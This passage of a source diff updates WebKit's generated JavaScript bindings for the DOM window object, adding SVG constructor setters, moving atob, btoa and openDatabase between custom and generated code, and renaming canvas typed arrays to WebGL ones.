 void setJSDOMWindowSVGTextContentElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5884,6 +7845,14 @@ void setJSDOMWindowSVGTextContentElementConstructor(ExecState* exec, JSObject* t
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGTextContentElement"), value);
 }
 
+void setJSDOMWindowSVGTextElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGTextElement"), value);
+}
+
 void setJSDOMWindowSVGTextPathElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5892,6 +7861,22 @@ void setJSDOMWindowSVGTextPathElementConstructor(ExecState* exec, JSObject* this
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGTextPathElement"), value);
 }
 
+void setJSDOMWindowSVGTextPositioningElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGTextPositioningElement"), value);
+}
+
+void setJSDOMWindowSVGTitleElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGTitleElement"), value);
+}
+
 void setJSDOMWindowSVGTransformConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5900,6 +7885,30 @@ void setJSDOMWindowSVGTransformConstructor(ExecState* exec, JSObject* thisObject
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGTransform"), value);
 }
 
+void setJSDOMWindowSVGTransformListConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGTransformList"), value);
+}
+
+void setJSDOMWindowSVGTRefElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGTRefElement"), value);
+}
+
+void setJSDOMWindowSVGTSpanElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGTSpanElement"), value);
+}
+
 void setJSDOMWindowSVGUnitTypesConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
@@ -5908,6 +7917,248 @@ void setJSDOMWindowSVGUnitTypesConstructor(ExecState* exec, JSObject* thisObject
     static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGUnitTypes"), value);
 }
 
+void setJSDOMWindowSVGUseElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGUseElement"), value);
+}
+
+void setJSDOMWindowSVGViewElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGViewElement"), value);
+}
+
+void setJSDOMWindowSVGZoomEventConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGZoomEvent"), value);
+}
+
+void setJSDOMWindowSVGComponentTransferFunctionElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGComponentTransferFunctionElement"), value);
+}
+
+void setJSDOMWindowSVGFEBlendElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEBlendElement"), value);
+}
+
+void setJSDOMWindowSVGFEColorMatrixElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEColorMatrixElement"), value);
+}
+
+void setJSDOMWindowSVGFEComponentTransferElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEComponentTransferElement"), value);
+}
+
+void setJSDOMWindowSVGFECompositeElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFECompositeElement"), value);
+}
+
+void setJSDOMWindowSVGFEDiffuseLightingElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEDiffuseLightingElement"), value);
+}
+
+void setJSDOMWindowSVGFEDisplacementMapElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEDisplacementMapElement"), value);
+}
+
+void setJSDOMWindowSVGFEDistantLightElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEDistantLightElement"), value);
+}
+
+void setJSDOMWindowSVGFEFloodElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEFloodElement"), value);
+}
+
+void setJSDOMWindowSVGFEFuncAElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEFuncAElement"), value);
+}
+
+void setJSDOMWindowSVGFEFuncBElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEFuncBElement"), value);
+}
+
+void setJSDOMWindowSVGFEFuncGElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEFuncGElement"), value);
+}
+
+void setJSDOMWindowSVGFEFuncRElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEFuncRElement"), value);
+}
+
+void setJSDOMWindowSVGFEGaussianBlurElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEGaussianBlurElement"), value);
+}
+
+void setJSDOMWindowSVGFEImageElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEImageElement"), value);
+}
+
+void setJSDOMWindowSVGFEMergeElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEMergeElement"), value);
+}
+
+void setJSDOMWindowSVGFEMergeNodeElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEMergeNodeElement"), value);
+}
+
+void setJSDOMWindowSVGFEMorphologyElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEMorphologyElement"), value);
+}
+
+void setJSDOMWindowSVGFEOffsetElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEOffsetElement"), value);
+}
+
+void setJSDOMWindowSVGFEPointLightElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFEPointLightElement"), value);
+}
+
+void setJSDOMWindowSVGFESpecularLightingElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFESpecularLightingElement"), value);
+}
+
+void setJSDOMWindowSVGFESpotLightElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFESpotLightElement"), value);
+}
+
+void setJSDOMWindowSVGFETileElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFETileElement"), value);
+}
+
+void setJSDOMWindowSVGFETurbulenceElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFETurbulenceElement"), value);
+}
+
+void setJSDOMWindowSVGFilterElementConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "SVGFilterElement"), value);
+}
+
+#if ENABLE(TOUCH_EVENTS)
+void setJSDOMWindowTouchEventConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "TouchEvent"), value);
+}
+#endif
+
+void setJSDOMWindowFormDataConstructor(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    if (!static_cast<JSDOMWindow*>(thisObject)->allowsAccessFrom(exec))
+        return;
+    // Shadowing a built-in constructor
+    static_cast<JSDOMWindow*>(thisObject)->putDirect(Identifier(exec, "FormData"), value);
+}
+
 JSValue JSC_HOST_CALL jsDOMWindowPrototypeFunctionGetSelection(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
 {
     UNUSED_PARAM(args);
@@ -6290,17 +8541,7 @@ JSValue JSC_HOST_CALL jsDOMWindowPrototypeFunctionOpenDatabase(ExecState* exec,
         return throwError(exec, TypeError);
     if (!castedThisObj->allowsAccessFrom(exec))
         return jsUndefined();
-    DOMWindow* imp = static_cast<DOMWindow*>(castedThisObj->impl());
-    ExceptionCode ec = 0;
-    const UString& name = args.at(0).toString(exec);
-    const UString& version = args.at(1).toString(exec);
-    const UString& displayName = args.at(2).toString(exec);
-    unsigned estimatedSize = args.at(3).toInt32(exec);
-
-
-    JSC::JSValue result = toJS(exec, castedThisObj->globalObject(), WTF::getPtr(imp->openDatabase(name, version, displayName, estimatedSize, ec)));
-    setDOMException(exec, ec);
-    return result;
+    return castedThisObj->openDatabase(exec, args);
 }
 
 JSValue JSC_HOST_CALL jsDOMWindowPrototypeFunctionPostMessage(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -6372,7 +8613,14 @@ JSValue JSC_HOST_CALL jsDOMWindowPrototypeFunctionAtob(ExecState* exec, JSObject
         return throwError(exec, TypeError);
     if (!castedThisObj->allowsAccessFrom(exec))
         return jsUndefined();
-    return castedThisObj->atob(exec, args);
+    DOMWindow* imp = static_cast<DOMWindow*>(castedThisObj->impl());
+    ExceptionCode ec = 0;
+    const UString& string = valueToStringWithNullCheck(exec, args.at(0));
+
+
+    JSC::JSValue result = jsString(exec, imp->atob(string, ec));
+    setDOMException(exec, ec);
+    return result;
 }
 
 JSValue JSC_HOST_CALL jsDOMWindowPrototypeFunctionBtoa(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
@@ -6383,7 +8631,14 @@ JSValue JSC_HOST_CALL jsDOMWindowPrototypeFunctionBtoa(ExecState* exec, JSObject
         return throwError(exec, TypeError);
     if (!castedThisObj->allowsAccessFrom(exec))
         return jsUndefined();
-    return castedThisObj->btoa(exec, args);
+    DOMWindow* imp = static_cast<DOMWindow*>(castedThisObj->impl());
+    ExceptionCode ec = 0;
+    const UString& string = valueToStringWithNullCheck(exec, args.at(0));
+
+
+    JSC::JSValue result = jsString(exec, imp->btoa(string, ec));
+    setDOMException(exec, ec);
+    return result;
 }
 
 JSValue JSC_HOST_CALL jsDOMWindowPrototypeFunctionAddEventListener(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMWindow.h b/src/3rdparty/webkit/WebCore/generated/JSDOMWindow.h
index 5a087e7..a6f3253 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDOMWindow.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMWindow.h
@@ -43,16 +43,15 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     virtual void markChildren(JSC::MarkStack&);
 
     virtual bool deleteProperty(JSC::ExecState*, const JSC::Identifier&);
-    virtual void getPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
+    virtual void getPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&, JSC::EnumerationMode mode = JSC::ExcludeDontEnumProperties);
     virtual bool defineOwnProperty(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&, bool shouldThrow);
-    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&);
-    virtual bool getPropertyAttributes(JSC::ExecState*, const JSC::Identifier&, unsigned& attributes) const;
+    virtual void getOwnPropertyNames(JSC::ExecState*, JSC::PropertyNameArray&, JSC::EnumerationMode mode = JSC::ExcludeDontEnumProperties);
     virtual void defineGetter(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSObject* getterFunction, unsigned attributes);
     virtual void defineSetter(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::JSObject* setterFunction, unsigned attributes);
     virtual JSC::JSValue lookupGetter(JSC::ExecState*, const JSC::Identifier& propertyName);
@@ -66,14 +65,14 @@ public:
     JSC::JSValue crypto(JSC::ExecState*) const;
     JSC::JSValue image(JSC::ExecState*) const;
     JSC::JSValue option(JSC::ExecState*) const;
-    JSC::JSValue canvasArrayBuffer(JSC::ExecState*) const;
-    JSC::JSValue canvasByteArray(JSC::ExecState*) const;
-    JSC::JSValue canvasUnsignedByteArray(JSC::ExecState*) const;
-    JSC::JSValue canvasShortArray(JSC::ExecState*) const;
-    JSC::JSValue canvasUnsignedShortArray(JSC::ExecState*) const;
-    JSC::JSValue canvasIntArray(JSC::ExecState*) const;
-    JSC::JSValue canvasUnsignedIntArray(JSC::ExecState*) const;
-    JSC::JSValue canvasFloatArray(JSC::ExecState*) const;
+    JSC::JSValue webGLArrayBuffer(JSC::ExecState*) const;
+    JSC::JSValue webGLByteArray(JSC::ExecState*) const;
+    JSC::JSValue webGLUnsignedByteArray(JSC::ExecState*) const;
+    JSC::JSValue webGLShortArray(JSC::ExecState*) const;
+    JSC::JSValue webGLUnsignedShortArray(JSC::ExecState*) const;
+    JSC::JSValue webGLIntArray(JSC::ExecState*) const;
+    JSC::JSValue webGLUnsignedIntArray(JSC::ExecState*) const;
+    JSC::JSValue webGLFloatArray(JSC::ExecState*) const;
     JSC::JSValue webKitCSSMatrix(JSC::ExecState*) const;
     JSC::JSValue webKitPoint(JSC::ExecState*) const;
     JSC::JSValue eventSource(JSC::ExecState*) const;
@@ -82,16 +81,16 @@ public:
     JSC::JSValue messageChannel(JSC::ExecState*) const;
     JSC::JSValue worker(JSC::ExecState*) const;
     JSC::JSValue sharedWorker(JSC::ExecState*) const;
+    JSC::JSValue webSocket(JSC::ExecState*) const;
     JSC::JSValue audio(JSC::ExecState*) const;
 
     // Custom functions
     JSC::JSValue open(JSC::ExecState*, const JSC::ArgList&);
     JSC::JSValue showModalDialog(JSC::ExecState*, const JSC::ArgList&);
+    JSC::JSValue openDatabase(JSC::ExecState*, const JSC::ArgList&);
     JSC::JSValue postMessage(JSC::ExecState*, const JSC::ArgList&);
     JSC::JSValue setTimeout(JSC::ExecState*, const JSC::ArgList&);
     JSC::JSValue setInterval(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue atob(JSC::ExecState*, const JSC::ArgList&);
-    JSC::JSValue btoa(JSC::ExecState*, const JSC::ArgList&);
     JSC::JSValue addEventListener(JSC::ExecState*, const JSC::ArgList&);
     JSC::JSValue removeEventListener(JSC::ExecState*, const JSC::ArgList&);
     DOMWindow* impl() const
@@ -114,7 +113,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSDOMWindowPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -161,583 +160,809 @@ JSC::JSValue JSC_HOST_CALL jsDOMWindowPrototypeFunctionCaptureEvents(JSC::ExecSt
 JSC::JSValue JSC_HOST_CALL jsDOMWindowPrototypeFunctionReleaseEvents(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsDOMWindowScreen(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMWindowHistory(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMWindowLocationbar(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowScreen(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMWindowHistory(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMWindowLocationbar(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowLocationbar(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowMenubar(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowMenubar(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowMenubar(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowPersonalbar(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowPersonalbar(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowPersonalbar(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowScrollbars(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowScrollbars(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowScrollbars(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowStatusbar(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowStatusbar(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowStatusbar(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowToolbar(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowToolbar(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowToolbar(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowNavigator(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowNavigator(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowNavigator(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowClientInformation(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowClientInformation(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowClientInformation(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowLocation(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowLocation(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowLocation(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowEvent(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowEvent(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowEvent(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowCrypto(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMWindowFrameElement(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMWindowOffscreenBuffering(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowCrypto(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMWindowFrameElement(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMWindowOffscreenBuffering(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOffscreenBuffering(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOuterHeight(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOuterHeight(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOuterHeight(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowOuterWidth(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowOuterWidth(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowOuterWidth(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowInnerHeight(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowInnerHeight(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowInnerHeight(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowInnerWidth(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowInnerWidth(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowInnerWidth(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowScreenX(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowScreenX(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowScreenX(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowScreenY(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowScreenY(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowScreenY(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowScreenLeft(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowScreenLeft(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowScreenLeft(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowScreenTop(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowScreenTop(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowScreenTop(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowScrollX(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowScrollX(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowScrollX(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowScrollY(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMWindowScrollY(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSDOMWindowScrollY(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsDOMWindowPageXOffset(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMWindowPageYOffset(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMWindowClosed(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMWindowLength(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
